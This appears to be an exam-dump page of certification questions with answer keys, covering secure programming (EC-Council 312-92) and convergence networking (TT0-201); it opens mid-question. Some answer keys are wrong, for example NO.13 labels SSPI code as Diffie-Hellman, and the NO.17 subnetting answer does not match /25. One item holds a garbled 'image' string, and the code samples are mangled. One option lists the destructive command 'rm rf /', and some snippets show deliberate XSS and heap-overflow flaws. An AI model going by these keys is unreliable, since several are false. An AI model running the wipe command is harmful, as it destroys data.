if ((s = getUsernameByID( userid )) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write( <br>Applicant:<u>
+ s +
</u> );
}
...
}
A. Query string manipulation
B. XSS attack
C. Cookie poisoning
D. SQL injection
Answer: B

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NO.9 Fred is planning on using the windows socket application ClientApp.exe program to create a client-side
application that his employees will use. This program will access backend programs from two different
remote sites over WAN connections. If Fred does not make any modifications to the ClientApp.exe default
settings, what port must he have the network engineer open in order for the application to communicate?
A. 21
B. 23
C. 25
D. 80
Answer: D

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NO.10 Wayne is a gaming software developer for a large video gaming company in Los Angeles. Wayne has
just completed developing a new action/adventure game for the company that is to be released soon. To
protect the company s copyright on the game, Wayne would like to incorporate a technology that will
restrict the use of the digital files by controlling access, altering, sharing, copying, printing, and saving.
What technology does Wayne want to use?
A. ARM
B. WRM
C. DRM
D. Diffusion
Answer: C

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NO.11 Steve is using the libcap library to create scripts for capturing and analyzing network traffic.
Steve has never used libcap before and is struggling with finding out the correct functions to use. Steve is
trying to pick the default network interface in his script and does not know which function to use. Which
function would he use to correctly choose the default interface in the script?
A. pcap_open_live
B. pcap_int_default
C. pcap_lookupdev
D. pcap_use_int
Answer: C

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NO.12 Which Linux command will securely delete a file by overwriting its contents?
A. rm rf /
B. Shred
C. ps rm
D. del rm
Answer: B

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NO.13 What security package is implemented with the following code.?
dwStatus = DsMakSpn
(
ldap ,
MyServer.Mydomain.com ,
NULL,
0,
NULL,
&pcSpnLength,
pszSpn
);
rpcStatus = RpcServerRegisterAuthInfo
(
psz
RPC_C_AUTHN_GSS_NEGOTIATE,
NULL,
NULL
);
A. Diffie-Hellman encryption
B. Repurposing
C. SSPI
D. SMDT
Answer: A

EC-COUNCIL   312-92   312-92

NO.14 Processes having the CAP_NET_BIND_SERVICE
can listen on which ports?
A. Any TCP port over 1024
B. Any UDP port under 1024
C. Any TCP port under 1024
D. Any UDP port over 1024
Answer: C

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NO.15 What would be the result of the following code?
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char *input=malloc(20);
char *output=malloc(20);
strcpy(output, normal output );
strcpy(input, argv[1]); printf( input at %p: %s\n , input, input);
printf( output at %p: %s\n , output, output);
printf( \n\n%s\n , output);
}
A. Stack buffer overflow
B. Heap overflow
C. Query string manipulation
D. Pointer Subterfuge
Answer: B

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Featured Convergence Technologies Profession certification TT0-201 exam test questions and answers

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Exam Code: TT0-201
Exam Name: Convergence Technologies Profession (Convergence Technologies Professional 2007)
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Total Q&A: 195 Questions and Answers
Last Update: 2013-11-30

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NO.1 In which of the following layers of the OSI/RM would you find the Session Initiation Protocol (SIP)?
A.Network
B.Physical
C.Session
D.Application
Answer: D

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NO.2 You have implemented DiffServ to describe a collection of service policies that determine how your
network equipment will classify and condition voice data in a traffic flow scheme. What is the accepted
name for this group?
A.Class
B.Group
C.VLAN
D.Domain
Answer: D

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NO.3 Which of the following describes how the host portion of IPv4 and IPv6 addresses are created?
A.All IPv4 and Ipv6 host addresses are determined by ICANN.
B.All IPv4 and IPv6 host addresses are based on the host's MAC address.
C.The host portion of an IPv4 address is determined by ICANN. The host portion of an IPv6 address is
determined according to the multicast address.
D.The host portion of an IPv4 address is determined arbitrarily according to the value of the subnet mask.
The host portion of an IPv6 address is determined from the host's MAC address.
Answer: D

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NO.4 Which of the following must be used by both an 802.11i Wi-fi card and a IP-enabled PBX network
adapter?
A.A Virtual LAN Identifier (VID).
B.A Secure Set Identifier (SSID) entry.
C.A Media Access Control (MAC) address.
D.A Canonical Format Indicator (CFI) entry.
Answer: C

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NO.5 When a technician connects a North American T-1 trunk to a European E-1 trunk using a conversion
device, which of the following will result?
A.No less than 80% of the T-1 can be used.
B.No more than 80% of the E-1 trunk can be used.
C.No connection can be made between E-1 and T-1.
D.The connection will fail, because E-1 uses out-of-band transmission, and T-1 lines use in-band
transmission.
Answer: B

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NO.6 When data is sent down to the Session layer of the OSI/RM the PDU consists of which encapsulated
components?
A.Physical header, Network header, Data
B. Data, Application header, Presentation header
C.Network header, Data Link header, Physical header
D.Application header, Presentation header, Transport header
Answer: B

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NO.7 Which of the following connects the Foreign Exchange Station (FXS) portion of an Analog Telephone
Adapter (ATA) to an analog phone?
A.USB connector.
B.RJ-11 connector.
C.RJ-45 connector.
D.RS-232 connector.
Answer: B

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NO.8 Consider the following image of a Media Access Control (MAC) address:QV12116bY$X%&,*+
Which of the following describes the portion designated by letter A?
A.The 48 bit ID code, known as the Mac-48.
B.The 48 bit ID code, known as the EUI-48.
C.The 24 bit vendor code, known as the Organizationally Unique Identifier (OUI)
D.The 64 bit interface serial number, known as the known as the Organizationally Unique Identifier (OUI).
Answer: C

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NO.9 Which of the following best describes what occurs to a protocol data unit as information passes from
layer 1 to layer 7?
A.Each layer reads all remaining protocol data units and adds information specific to that layer.
B. Each layer reads all remaining protocol data units and determines how to route the packet.
C.As data units are passed up the protocol stack, each layer removes information relevant to the function
of that layer.
D.As data units are passed down the protocol stack, each layer adds information appropriate to the
function of that layer.
Answer: C

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NO.10 Which of the following is a concern when implementing IPsec for SIP-based voice calls behind a
firewall that implements Network Address Translation (NAT)?
A.IPsec doesn't natively support SIP.
B.Encryption causes increased overhead.
C.You must implement tunnel mode using the AH security protocol.
D.You must implement transport mode using the AH security protocol.
Answer: B

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NO.11 The Session Initiation Protocol (SIP) the ASCII text standard to format its messages. The H.323
protocol uses ASN.1 binary code. Which layer of the OSI/RM is responsible for translating, processing
and reading ASN.1 and ASCII messages?
A.Network
B.Session
C.Physical
D.Presentation
Answer: D

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NO.12 Which of the following is most likely to be used to identify a device to be called in a hunt group?
A.A Virtual LAN Identifier (VID).
B.A Secure Set Identifier (SSID) entry.
C.A Canonical Format Indicator (CFI) entry.
D.A Media Access Control (MAC) address.
Answer: D

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NO.13 Which of the following devices operates at Layer 2 of the OSI/RM and is considered the ideal device
for creating a new broadcast domain for a voice device?
A.Hub
B.Bridge
C.Router
D.Switch
Answer: D

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NO.14 Your customer has asked you to enable fax messages to be delivered to her computer so she can read
it in her e-mail. Which protocol should you implement on your convergence device?
A.T.30
B.T.34
C.T.37
D.T.38
Answer: C

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NO.15 Which protocol does is generally used to establish calls in SIP implementations?
A.TCP
B.UDP
C.RTP
D.H.225
Answer: B

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NO.16 You are helping design an SIP implementation for an existing network. Which of the following is the
most important element to verify?
A.Whether or not the company uses fire-grade cabling.
B.Whether or not the company has implemented QoS.
C.Whether or not the company Web server supports SSL.
D.Whether or not the company layer 2 switches have fault tolerance in place.
Answer: B

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NO.17 You have been given the following in CIDR notation: 152.2.100.1/25. How many subnets can you
create, and how many IP addresses can each subnet have?
A.55 subnets, with 1024 addresses per subnet
B.126 subnets, with 512 addresses per subnet
C.128 subnets, with 126 addresses per subnet
D.1024 subnets, with 55 addresses per subnet
Answer: C

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NO.18 Which of the following is the correct ordering of protocol data units, starting from Layer 1 of the
OSI/RM to Layer 7?
A.Packet, data, frame, bits
B.Bits, frame, data, packet
C.Data, segment, packet, frame
D.Frame, packet, segment, data
Answer: D

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NO.19 You have decided to use the following range of IP addresses:
172.16.0.0/24
Which of the following will allow you to avoid deploying NAT traversal workarounds?
A.Deploy a STUN server.
B.Deploy a Session Border Controller (SBC).
C.Use registered IP addresses for all devices.
D.Use the default subnet mask for your IP address range.
Answer: C

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NO.20 You have been asked to recommend an appropriate network bandwidth for a medium to large business.
This business will use it for their IP phones, as well as their data connection. Which of the following would
you recommend?
A.DS0
B.DS1
C.ISDN BRI
D.ISDN PRI
Answer: D

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